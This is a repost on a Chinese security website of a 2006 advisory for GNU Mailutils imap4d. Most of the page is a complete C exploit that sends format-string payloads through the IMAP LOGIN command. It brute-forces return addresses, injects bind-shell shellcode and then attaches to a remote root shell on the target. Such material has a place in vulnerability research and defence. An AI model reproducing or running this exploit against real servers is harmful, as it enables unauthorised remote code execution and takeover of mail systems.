首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
imap4d Buffer Overflow
来源:http://www.rosiello.org 作者:Johnny 发布时间:2006-02-06  

imap4d Buffer Overflow (LOGIN, Exploit)

Summary
"GNU Mailutils is a collection of mail-related utilities. At the core of Mailutils is libmailbox, a library which provides access to various forms of mailbox files (including remote mailboxes via popular protocols). It also provides support for parsing of RFC-822 style messages and MIME support."

A buffer overflow in GNU Mailutils imap4d allow attackers to execute arbitrary code by overflowing the product's LOGIN directive.

Credit:
The information has been provided by Johnny Mast.

Details
Exploit:
/*
* Copyright (c) 2005 Rosiello Security
* http://www.rosiello.org
*
* Permission is granted for the redistribution of this software
* electronically. It may not be edited in any way without the express
* written consent of Rosiello Security.
*
* Disclaimer: The author published the information under the condition
* that is not in the intention of the reader to use them in order to bring
* to himself or others a profit or to bring to others damage.
*
* --------------------------------------------------------------------------
*
* Author: Johnny Mast
* e-mails: rave at rosiello.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>

//#define DEBUG

#define RETADDR (0x805d922)

#define SHELL_PORT "34563"
#define SHELL_COMMAND "uname -a; id;"
#define PORT_OFFSET 20
#define ARG_1_LENGH 180
#define ARG_3_LENGH 315


char shellcode[] =
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd"
"\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a"
"\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04"
"\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66"
"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75"
"\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

void prepare(char *arg){
int port=htons(atoi(arg)), p1, p2;
p2 = (port & 0xff00) >> 8;
p1 = (port & 0x00ff);
shellcode[PORT_OFFSET] = p1;
shellcode[PORT_OFFSET+1] = p2;
printf("Shellcode lenght=%d; port=%d\n", strlen(shellcode), atoi(arg));
}

struct framep {
int addr;
unsigned short dpa_offset;
};

struct targ{
unsigned int retloc; /* the eip */
/*
* possible retaddrs, we have to bruteforce a
* little bit to find the username field on heap
*/
int pretaddr[10];
int ret_count;
struct framep ebps[8];
int ebp_count;
int use_ebp1;
int use_ebp2;
unsigned short ebp1_offset; /* DPA offset of the first ebp */
unsigned short ebp2_offset;
unsigned short retl_high_offset; /* DPA offset of high part of the retloc */
unsigned short retl_low_offset;
} target;


void usage(char *a){
int i;

printf("[-] Usage: %s -h <host> [options]\n", a);
printf("[!] Options:\n");
printf("\t\t-h\tHostname which you want attack (required)\n");
printf("\t\t-p\tPort of the imapd (default: 143)\n");
printf("\t\t-s\tHow long to sleep before try connect to shell (default: 1)\n");
exit(1);
}

int sockprintf(int sock, const char *s, ...){
char *ptr;
int bytes;
va_list arg;
va_start(arg, s);
if(vasprintf(&ptr, s, arg) == -1){
free(ptr);
return -1;
}
va_end(arg);
if((bytes = send(sock, ptr, strlen(ptr), 0)) == -1){
free(ptr);
return -1;
}
free(ptr);
return bytes;
}


int statusf(const char *s, ...){
va_list arg;
va_start(arg, s);
vprintf(s, arg);
fflush(stdout);
}


int resolv(struct sockaddr_in *addr, char *hostn){
struct hostent *host;

if (!inet_aton(hostn, &addr->sin_addr)){
host = gethostbyname(hostn);
if (host == NULL){
printf("[-] Wasnt able to resolve %s!\n", hostn);
return -1;
}
addr->sin_addr = *(struct in_addr*)host->h_addr;
}
}


int conn(struct sockaddr_in addr, int port){
int sock;

if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){
return -1;
}

addr.sin_port = htons(port);
addr.sin_family = AF_INET;

if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
return -1;
}
return sock;
}


int get_shell(struct sockaddr_in addr, int port, int sleeps){
int sock;
char buffer[1024];
fd_set fds;

sleep(sleeps);

if((sock = conn(addr, port)) == -1)
return (-1);
printf("[+]\n[+] Wooohooo we got a shell!\n");
sockprintf(sock, SHELL_COMMAND"\r\n");
while(1){
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);

if (select(255, &fds, NULL, NULL, NULL) == -1){
fprintf(stderr,"[-] sending failed\n");
close(sock);
exit(1);
}

memset(buffer, 0x0, sizeof(buffer));
if (FD_ISSET(sock, &fds)){
if (recv(sock, buffer, sizeof(buffer), 0) == -1){
fprintf(stderr, "[-] Connection closed by remote host!\n");
close(sock);
exit(1);
}
fprintf(stderr, "%s", buffer);
}

if (FD_ISSET(0, &fds)){
read(0, buffer, sizeof(buffer));
write(sock, buffer, strlen(buffer));
}
}
return 0;
}


void status(int retloc, int retloc2, int retaddr){
static int i=1;

switch(i){
case 1:
printf("[|] ");
break;
case 2:
printf("[/] ");
break;
case 3:
printf("[-] ");
break;
case 4:
printf("[\\] ");
i = 0;
break;
}
printf("Trying retlocs [0x%x - 0x%x] retaddr [0x%x]\r", retloc, retloc2, retaddr);
fflush(stdout);
i++;
}


void gen_req2(char *buffer, unsigned int size, unsigned short count){
unsigned short high, low;

high = (target.pretaddr[count] & 0xffff0000) >> 16;
low = (target.pretaddr[count] & 0x0000ffff);

memset(buffer, 0x0, size);
snprintf(buffer, size, "%%.%uu%%%d$hn%%.%uu%%%d$hn",
high, target.retl_high_offset, (low-high), target.retl_low_offset, shellcode);
buffer[size-1] = 0x0;
if(strlen(buffer) > 135){
printf("[-] get_info failed, this really shouldnt happen...\n");
exit(-1);
}
memset(buffer + strlen(buffer), 0x41, 135 - strlen(buffer));
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x90, 353);
if(strlen(shellcode) > 350){
printf("[-] The shellcode (%d bytes) is too big, maximal size is 350\n", strlen(shellcode));
exit(-1);
}
memcpy(buffer + strlen(buffer) - strlen(shellcode) - 2, shellcode, strlen(shellcode));
buffer[strlen(buffer)] = ' ';
strncat(buffer, "BBBB", size - strlen(buffer) - 1);
}


void gen_req1(char *buffer, unsigned int size){
unsigned short retl;
retl = (target.retloc & 0x0000ffff);

memset(buffer, 0x0, size);
snprintf(buffer, size, "%%.%uu%%%d$hn__%%%d$hn",
retl, target.ebps[target.ebp_count - 2].dpa_offset, target.ebps[target.ebp_count - 1].dpa_offset);
buffer[size-1] = 0x0;
if(strlen(buffer) > 135){
printf("[-] get_info failed, this really shouldnt happen, wtf did you do?\n");
exit(-1);
}
memset(buffer + strlen(buffer), 0x41, ARG_1_LENGH - strlen(buffer));
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}

void gen_info_req(char *buffer, unsigned int size, int offset){
int i;

memset(buffer, 0x0, size);
if(offset == 0)
for(i = 0; i < 60; i++)
strncat(buffer, "_%p", size - strlen(buffer) - 1);
else
for(i = 0; i < 30; i++)
snprintf(buffer + strlen(buffer), size - strlen(buffer), "_%%%d$p", offset+i);
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}


void get_infos(int sock){
char buffer[1024], ibuffer[1024], *ptr, *ptr2;
int i, j, bytes, ebp_count, ebps[10], ebp_tmp, offset, ret_tmp;

gen_info_req(ibuffer, sizeof(ibuffer), 0);

#ifdef DEBUG
printf("[D] Sending: %s\n", ibuffer);
#endif
if(sockprintf(sock, "%s\r\n", ibuffer) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
buffer[bytes] = 0x0;

#ifdef DEBUG
printf("[D] Recived: %s\n", buffer);
#endif

memset(&target, 0x0, sizeof(target));

ptr = buffer;
for(i = 1; (ptr = strchr(ptr, '_')); i++){
ptr++;
if(!strncmp(ptr, "0xbfff", 6) && target.ebp_count < 8){
ebp_tmp = strtoul(ptr,NULL,0);
if(!(ptr = strchr(ptr, '_'))){
i++;
continue;
}
ptr++;
i++;

if(strncmp(ptr, "0x80", 4) && strncmp(ptr, "0x080", 5)
&& strncmp(ptr, "0x40", 4) && strncmp(ptr, "0x040", 5))
continue;

for(j = 0; j < target.ebp_count; j++)
if(target.ebps[j].addr == ebp_tmp)
ebp_tmp = 0x0;
if(ebp_tmp == 0x0)
continue;
target.ebps[target.ebp_count].addr = ebp_tmp;
target.ebps[target.ebp_count].dpa_offset = i - 1;
#ifdef DEBUG
printf("[D] Found possible ebp: %p offset: %d\n",
target.ebps[target.ebp_count].addr, target.ebps[target.ebp_count].dpa_offset);
#endif
target.ebp_count++;
continue;
}
/*
* In the function util_do_command a pointer to the username is stored. username
* points to the second "word" of the string which we send. if we send always a
* string and with 4 "words", which have in each request the same lengh,
* (word 1: 135bytes, string " LOGIN ", word 3: 353 bytes and word 4: 4 bytes,
* we will get always the same chunk of memory from malloc. So the address where
* username points to will always point to our 3. word, which will be in the last
* request our shellcode.
* The problem is, we know only that our string is on the heap, but there are a lot
* of pointers to addresses that could be the heap. so we just copy the first 10 pointers
* to 0x80* and try later each of them. bruteforcing 10 addresses wont take too long,
* But it will flood the logs :/
*/
if(target.ret_count < 10 && !strncmp(ptr, "0x80", 4) || !strncmp(ptr, "0x080", 5)){
ret_tmp = strtoul(ptr,NULL,0);
for(j = 0; j < target.ret_count; j++)
if(target.pretaddr[j] == ret_tmp)
ebp_tmp = 0x0;
if(ebp_tmp == 0x0)
continue;
target.pretaddr[target.ret_count] = ret_tmp;
#ifdef DEBUG
printf("[D] Added %p to the possible retaddr table\n", target.pretaddr[target.ret_count]);
#endif
target.ret_count++;
}
}

target.retloc = target.ebps[0].addr + 4;
target.use_ebp1 = target.ebp_count - 2;
target.use_ebp2 = target.ebp_count - 1;
#ifdef DEBUG
printf("[D] retloc: %p\n", target.retloc);
#endif

/*
* when we send this, the first two bytes of where target.ebp1 und target.ebp2 point to
* will be overwritten with the first to bytes of target.retloc and target.retloc+2.
* These can later be used to overwrite the saved eip of util_do_commands.
*/
gen_req1(buffer, sizeof(buffer));
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
sockprintf(sock, "%s\r\n", buffer);
#ifdef DEBUG
printf("[D] Sent: %s\n", buffer);
#endif
memset(buffer, 0x0, sizeof(buffer));
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0))){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
for(i = 0, offset = target.ebps[target.ebp_count - 2].dpa_offset; i < 4; i++){
gen_info_req(ibuffer, sizeof(ibuffer), offset);
sockprintf(sock, "%s\r\n", ibuffer);
#ifdef DEBUG
printf("[D] Sent ibuf: %s\n", ibuffer);
#endif
if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
buffer[bytes] = 0x0;
#ifdef DEBUG
printf("[D] Recived ibuf: %s\n", buffer);
#endif
ptr = buffer;
for(j = 1; (ptr = strchr(ptr, '_')); j++){
ptr++;
if(target.retl_low_offset == 0 && strtoul(ptr, NULL, 0) == target.retloc)
target.retl_low_offset = j + offset - 1;
else if(target.retl_high_offset == 0&& strtoul(ptr, NULL, 0) == target.retloc + 2 )
target.retl_high_offset = j + offset - 1;
}

#ifdef DEBUG
printf("rl low: %d rl high %d\n", target.retl_low_offset, target.retl_high_offset);
#endif
if(target.retl_low_offset != 0 && target.retl_high_offset != 0)
break;
offset += 30;
}
if(target.retl_low_offset == 0 || target.retl_high_offset == 0){
printf("[-] Wasnt able to find retloc on stack\n");
exit(-1);
}
#ifdef DEBUG
printf("[D] Retloc low offset: %d Retloc high offset: %d\n", target.retl_low_offset, target.retl_high_offset);
#endif
}


int main(int argc, char **argv){
char *payload = NULL, *hostn = NULL, buffer[1024], *ptr;
int i, first, sock, opt, port = 143,
shell_port = atoi(SHELL_PORT), sleeps = 1,
p_size=10000, vulncheck = 1, bytes;
fd_set fds;
struct sockaddr_in addr;

int p1, p2, ip1, ip2, ip3, ip4, sport;
char *back = "192.168.1.2";
sport = atoi(SHELL_PORT);


printf("[!] mailutils imapd4d universal(?) exploit 0.5 by rave\n");

if (argc < 2)
usage(argv[0]);

while ((opt = getopt (argc, argv, "h:p:t:s:P:S:c:vV")) != -1){
switch (opt){
case 'h':
hostn = optarg;
break;
case 'p':
port = atoi(optarg);
if(port > 65535 || port < 1){
printf("[-] Port %d is invalid\n",port);
return 1;
}
break;
case 's':
sleeps = atoi(optarg);
break;
case 'P':
prepare(optarg);
break;
case 'c':
back = optarg;
break;
case 'V':
vulncheck = 0;
break;
default:
usage(argv[0]);
}
}

if(hostn == NULL)
usage(argv[0]);


resolv(&addr, hostn);

printf("[!] Connecting to %s\n", hostn);

if((sock = conn(addr, port)) == -1){
printf("[-] Connecting failed!\n");
return -1;
}
printf("[+] Connected!\n");

recv(sock, buffer, sizeof(buffer), 0);
get_infos(sock);
printf("[+] We got all infos, which we need, lets start!\n");

close(sock);

for(i = 0; i < target.ret_count; i++) {
statusf("[%d] Trying retaddr %p\r", i+1, target.pretaddr[i]);
if((sock = conn(addr, port)) == -1){
printf("[-] Connecting failed!\n");
return -1;
}
if(!(bytes = recv(sock, buffer, sizeof(buffer), 0))){
printf("[-] Wasnt able to recive data from server\n");
exit(-1);
}
gen_req1(buffer, sizeof(buffer));
sockprintf(sock, "%s\r\n", buffer);
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
gen_req2(buffer, sizeof(buffer), i);
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
sockprintf(sock, "%s\r\n", buffer);
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
close(sock);
get_shell(addr, 5074, 1);
}
printf("[-] Exploit failed\n");
return 0;
}

/* EoF */



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SquirrelMail Change Passwd Plu
·mIRC Font Buffer Overflow
·Eterm LibAST Configuration Eng
·Cisco Aironet Wireless Access
·eyeBeam handling SIP header DO
·Oracle Database Server 9i or 1
·SimpleBlog version 2.1 is susc
·SHOUTcast <= 1.9.4 HTTP GET
·VERITAS NetBackup Volume Manag
·Nullsoft Winamp Player <= 5
·Xmame 0.102 (-lang) Local Buff
·Nullsoft Winamp Player PLS Fil
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved